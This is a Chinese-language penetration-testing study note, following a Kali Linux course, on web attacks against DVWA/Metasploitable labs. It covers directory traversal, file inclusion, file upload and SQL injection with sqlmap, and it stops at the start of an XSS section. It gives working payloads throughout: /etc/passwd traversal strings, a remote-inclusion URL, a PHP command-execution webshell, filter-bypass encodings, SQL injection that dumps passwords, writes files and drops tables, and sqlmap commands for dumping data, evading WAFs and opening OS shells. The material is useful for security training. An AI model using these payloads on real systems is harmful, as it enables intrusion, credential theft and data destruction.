Kali Linux渗透测试——WEB渗透(二)

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

    • 漏洞挖掘
      • 1.目录遍历/文件包含
      • 2.文件上传
      • 3.SQL注入
      • 4.XSS(Cross-Site Scripting)
      • 5.CSRF(Cross Site Request Forgery)
      • 6.WebShell
      • 7.HTTPS攻击
      • 8.PHP漏洞
      • 9.SessionID
      • 10.命令执行

漏洞挖掘

WEB漏洞扫描工具一般只会扫描通用常见的漏洞,一些特殊目录、不严格的配置可能遗漏,此时需要手动进行漏洞挖掘,结合自动化工具的扫描结果,根据具体环境灵活验证。

漏洞存在的本质在于输入变量和命令相混淆,漏洞挖掘的原则就在于尝试所有输入变量(表单提交内容、HTTP头等所有存在变量输入的地方),逐一验证排除。

1.目录遍历/文件包含

目录遍历(Directory traversal):由于目录权限限制不严格,导致攻击者通过url等参数直接访问本地WEB目录以外的文件。

文件包含(File include):可以将包含WEB目录以外的文件,进一步分为本地文件(LFI)包含和远程文件包含(RFI)。

  • 目录遍历/文件包含漏洞的存在特征为:在post或url请求中存在变量=页面
eg:
?page=a.php
?home=b.html
?file=content
  • 经典测试方法:
eg:
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://10.10.11.129/attack.php

注:Metasploitable默认没有开启RFI,为实现RFI,需要修改配置文件/etc/php5/cgi/php.ini

allow_url_include = on
  • 注意对提交的内容进行编码或变换,绕开过滤机制:
url编码
%2e%2e%2f                        解码: ../
%2e%2e%5c                        解码: ..\
%252e%252e%255c(多层url编码)     解码: ..\

Unicode/UTF-8编码
..%c0%af                         解码: ../
..%c1%9c                         解码: ..\

绕开过滤规则
htthttp://p://     
  • 其他系统路径可能用到的字符:(可以利用字典,测试时将字典内容附加在文件后,观察返回结果,在Kail目录/usr/share/wfuzz/wordlist/中已集成一些典型攻击向量字典)
file.txt...
file.txt
file.txt””””
file.txt<<<>>><

2.文件上传

通过文件上传接口,绕过过滤机制,将webshell、木马文件上传至目标系统。

如上传一句话木马:


echo shell_exec($_GET['cmd']);
?>
  • 直接将木马文件上传至目标系统
  • 修改文件类型
  • 修改扩展名:.jpeg、.php.jpeg等
  • 修改HTTP Request Header

    Kali Linux渗透测试——WEB渗透(二)_第1张图片
  • 仅保留文件头部,剩下内容改为一句话木马

    Kali Linux渗透测试——WEB渗透(二)_第2张图片
    注:通过文件权限的限制可以起到很好的限制作用

3.SQL注入

服务器端程序将用户输入的变量作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端服务器。

(1)检测方法

  • 基于报错的检测方法:输入' " %,查看返回是否报错,如果报错,说明这些字符被正常解析,可能存在SQL注入漏洞
  • 基于布尔的检测:1' and '11' and '0,看返回结果逻辑是否正常,以此判断SQL注入语句基本结构
  • 基于时间的检测:利用SLEEP()函数,通过不同的延时判断是否存在注入漏洞

(2)手动注入

① 普通SQL注入(可以基于注入过程中数据库内建的报错信息判断注入语句的执行结果)

  • 判断查询字段数:(由大至小判断,--是注释符,+在url中为空格符)
' ORDER BY 10#
  • 联合查询:
#  判断查询字段位置
' UNION SELECT 1,2,3,4,5#

#  查询当前数据库、版本、用户等系统信息,1,2,3,4,5等数字用于占位
' UNION SELECT database(),version(),user(),4,@@datadir# 
  • 利用CONCAT_WS()连接字符串,提高查询效率:
' SELECT CONCAT_WS(', ',database(),version(),user(),@@datadir),null#  
# 其中`,`是连接字符串的分隔符

MySQL重要信息全部存在information_schema,其中最重要的两个表:TABLESCOLUMNS:前者记录了所有数据库的名称TABLE_SCHEMA和所有表的名称TABLE_NAME,后者除此以外还记录了所有列的名称COLUMN_NAME

利用两条查询语句查看COLUMNS与TABLES中列的具体内容:

SELECT column_name FROM information_schema.columns WHERE table_name='tables';
SELECT column_name FROM information_schema.columns WHERE table_name='columns';

结果如下图所示:(MySQL version 5.0.51)

Kali Linux渗透测试——WEB渗透(二)_第3张图片

图1 COLUMNS&TABLES

  • 查询dvwa.users表中所有的列:
' UNION SELECT table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’#
  • 查询用户和密码信息:
' UNION SELECT user,password from dvwa.users#
  • 利用LOAD_FILE()读取文件:
' UNION SELECT null, LOAD_FILE('/etc/passwd')#
  • 利用INTO OUTFILEINTO DUMPFILE将SELECT内容写入文件:(INTO OUTFILE输出内容中带有换行、空格等格式,导出多行带格式数据;INTO DUMPFILE输出内容中无格式,导出单行无格式数据)
' UNION SELECT null,"" INTO DUMPFILE "/tmp/a.php"#
' UNION SELECT null, CONCAT(user,0x3a,password) FROM users INTO OUTFILE '/tmp/a.db'#

在利用MySQL注入漏洞在目标系统上新建文件时,所有操作使用的都是mysql账号,在/var/www等目录下读写权限会有所限制,这样新建文件就要在mysql所在的主目录或者/tmp等权限不受限的目录完成,然后利用其他WEB漏洞(如文件包含漏洞)对新建的文件进行利用。

  • 如果当前数据库查询账号受限,无法查看information_schema等重要数据库,拒绝union、order by等查询语句,此时可以利用Fuzz猜测库名、表名、列名,根据返回值判断猜测是否正确 (可以利用Burp等自动化工具,结合字典进行注入判断),SQL注入没有银弹,具体环境具体分析,处理方式要灵活变通。
# 猜列名
' and  is null#

# 猜当前表表名
' and .user is null#

# 猜测库中其他表名
' and (select count(*) from 
)>0# # 猜字段内容 ' or user='admin ' or user like ' %a% # 直接更改用户名和密码 ';UPDATE users SET user='attacker' WHERE user='admin ';UPDATE users SET password='xxxxxx' WHERE user='yyyyyy # 直接插入新用户 ';INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('1','Wang','Ha','WH','h87fcce45f6aee332deb8826e','OK');# # 删库 ';DROP TABLE users;#

② SQL盲注(不回显数据库内建的报错信息)

SQL盲注条件下无法基于数据库内建的报错信息进行逻辑判断,此时可以基于布尔和时间进行盲注检测是否存在漏洞,同时要结合输入不同内容回显的结果,灵活处理,其他注入方法和普通注入是一样的。

  • 基于布尔的盲注:根据逻辑真假的不同执行结果进行判断
1' and 1#
1' and 0#

1' ORDER BY 2#
1' ORDER BY 3#
  • 基于时间的盲注:根据时间延迟的不同执行结果进行判断
' and (SELECT * FROM (SELECT(SLEEP(20)))a)#

(4)自动化工具——SQLMap

Python语言开发的SQL注入、漏洞检测工具,可以进行数据提取、访问文件系统、执行操作系统命令、访问注册表、Fuzz和字典破解等操作,可以与Burp、Metasploit等其他工具、框架结合使用,引擎强大、特性丰富,同时也支持XSS漏洞检测。

支持的数据库管理系统DBMS包括:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

五种漏洞检测技术:基于布尔的盲注检测、基于时间的盲注检测、基于错误的检测、基于UNION联合查询的检测、基于堆叠查询的检测。

使用方法:

① Target

  • 直接登录数据库进行查询,非注入方式
sqlmap -d "mysql://user:[email protected]:3306/dvwa" --users --dbs
  • GET方法指定SQL注入目标:
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id -a
# -u:url中必须包含需要注入的参数

sqlmap -m list.txt --current-user --current-db --is-dba --dbms=mysql
# -m:扫描url列表文件
  • POST方法指定SQL注入目标:
sqlmap -r request.txt
# 读取文件指定目标,request.txt中为HTTP Request(可以使用Burp)

sqlmap -l log.txt
# 读取文件指定目标,log.txt中为代理流量log信息(可以使用Burp)
  • 利用配置文件指定SQL注入目标,默认配置文件为/etc/sqlmap/sqlmap.conf
sqlmap -c sqlmap.config
# 利用config配置文件扫描目标,文件记录了sqlmap扫描的具体配置

② Request

  • 配置HTTP Request请求头信息
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --param-del="&" -f
# POST/GET方法都适用
# 前述-r和-l参数实现的POST方法指定目标也可以用-u和--data实现
# --param-del:指定变量的分隔符,默认为&

sqlmap -u "http://10.10.11.128/index.php?id=1" --cookie="security=low; PHPSESSID=946e8e0f4fe70e" --level=2 --random-agent -f
# --cookie:提供cookie信息,用于WEB身份认证
# --level:注入检测等级1-5,默认为1,当level>=2时检查cookie中的注入点

# --user-agent:指定User-Agent头
# --random-agent:User-Agent头取值为/usr/share/sqlmap/data/txt/user-agents.txt中的随机值
# 当level>=3时检查User-Agent中的注入点

# 当WAF/IPS/IDS过滤异常User-Agent时报错:[ERROR]the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent

sqlmap -u "http://10.10.11.128/index.php?id=1"  --method=GET --headers="Host: 10.10.11.128\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
# --headers:指定注入检测的Header,每个头单独一行,名称区分大小写
# --method:指定GET/POST方法
  • 配置认证信息
sqlmap -u "http://10.10.11.128/a.php?id=1" --auth-type=Basic --auth-cred="user:pass“
# --auth-type:指定认证方式,包括basic、digest、ntlm、pki
# --auth-cred:指定认证信息
  • 配置HTTP(S)代理
sqlmap -u "http://10.10.11.128/index.php?id=1" --proxy="http://1.2.3.4:8080" --auth-cred="user:pass" 
# --proxy:指定代理服务器,提高注入检测隐蔽性

sqlmap -u "http://127.0.0.1/index.php?id=1"  --ignore-proxy
# --ignore-proxy:忽略系统的代理,通常用于本地主机的扫描
  • 配置请求参数
# --delay:每次HTTP(S)请求之间延迟时间,浮点数,单位为秒,默认为无延迟
# --timeout:请求超时时间,浮点数,默认位30秒
# --retries:HTTP(S)连接超时重试次数,默认为3次
# --randomize:长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

sqlmap -l burp.log --scope="192\.168\.20\.(1|10|100)" --level 3 --dbs
# --scope:过滤日志内容,通过正则表达式筛选扫描对象

sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238b0b923520dcc509a7f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
# --eval:每次请求前执行指定的python代码
# 适用于每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)

③ Injection

sqlmap -u "http://10.10.11.128/login.php?username=admin&password=password" -p "admin,user-agent,referer" --skip="password" --dbs 
# -p:指定注入检测的参数或HTTP头
# --skip:排除指定的扫描参数

sqlmap -u "http://10.10.11.128/login.php?id=1" --dbms="mysql<5.0>" --os="windows"
#--dbms:指定DBMS(包括mysql//oracle/postgresql/microsoft sql server/microsoft access/db2/sqlite/firebird/sybase/sap maxdb),跨过DBMS探测过程,可以指定具体版本
# --os:指定操作系统

sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py,randomcase.py,space2comment.py" -v 3
# --tamper:混淆脚本,用于绕过应用层过滤、IPS、WAF等安全过滤机制
# tamper脚本存在/usr/share/sqlmap/tamper目录

sqlmap -u “http://targeturl/param1/value1*/param2/value2*/
# *:指定URI注入点
# 一些WEB Application会将变量值变为路径中的参数,看似为静态URI,实则仍为动态URI,这时需要用*指定URI路径中的注入点

④ Enumeration

# -p:指定测试参数 parameter
# -b:扫描DBMS的Banner信息
# -f:扫描DBMS版本的指纹信息 fingerprint
# -a:扫描所有的Enumeration信息
# --current-user:当前数据库用户
# --current-db:当前数据库
# --hostname:主机名
# --users:所有的用户
# --count:表中记录的数目
# --privileges -U username:查询用户权限,CU为当前用户
# --batch:使用默认选项扫描,不用交互选择

sqlmap -u “http://1.1.1.1/a.php?id=1” -D dvwa -T users --columns --dump
# --dbs:查询数据库
# --tables:查询表
# --columns:查询列
# --exclude-sysdbs 
# --dump:将数据库表项存到本地,以csv格式存储在~/.sqlmap/output/1.1.1.1/dump/目录中
# -U:指定用户
# -D:指定数据库
# -T:指定表
# -C:指定列

⑤ Brute Force

当数据库账号没有权限读取information_schema时,通常使用暴力破解的方法获取数据库元数据

# --common-tables:暴力破解表名
# --common-columns:暴力破解列名

⑥ File System Access

# --file-read="/etc/passwd"
# --file-write="shell.php" --file-dest= "/tmp/shell.php":将shell.php写到目标主机的/tmp/shell.php文件

⑦ OS Access

# --os-cmd=OSCMD:执行操作系统命令OSCMD
# --os-shell:尝试建立OS shell进行交互
# --sql-shell:尝试建立SQL shell进行交互
# --os-pwn:尝试建立meterpreter或VNC shell进行交互

⑧ Windows Registory

sqlmap –u="http://1.1.1.1/index.php?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
# --reg-read:读取注册表项
# --reg-add:添加注册表项
# --reg-del:删除注册表项
# --reg-key:注册表项名称
# --reg-value:注册表键的名称
# --reg-data:注册表键值
# --reg-type:注册表项类型

⑨ General

# --charset:强制字符编码
# --flush-session:清空session内容
# --flush-queries:忽略session查询结果,重新查询
# --force-ssl:https查询
# --save:将命令保存为配置文件

⑩ Miscellaneous

# --check-waf:检测WAF/IPS/IDS
# --identity-waf:彻底的检测WAF/IPS/IDS,支持多种产品

sqlmap --wizard
# --wizard:交互式向导进行简单的注入检测

4.XSS(Cross-Site Scripting)

由于WEB站点存在的漏洞,使得攻击者可以将恶意代码注入至WEB站点,再由WEB站点向客户端交付恶意脚本代码,从而攻击WEB客户端,实现盗取Cookie、重定向等攻击效果。

原则上XSS攻击可以实现脚本代码能实现的所有功能,但可能受到执行权限的限制,最常见的客户端脚本语言为JavaScript,也有VBScript、ActiveX、Flash等

客户端脚本使用场景包括:

  • 直接嵌入html:
  • 元素标签事件:
  • 嵌入图片标签:
  • 嵌入其他标签: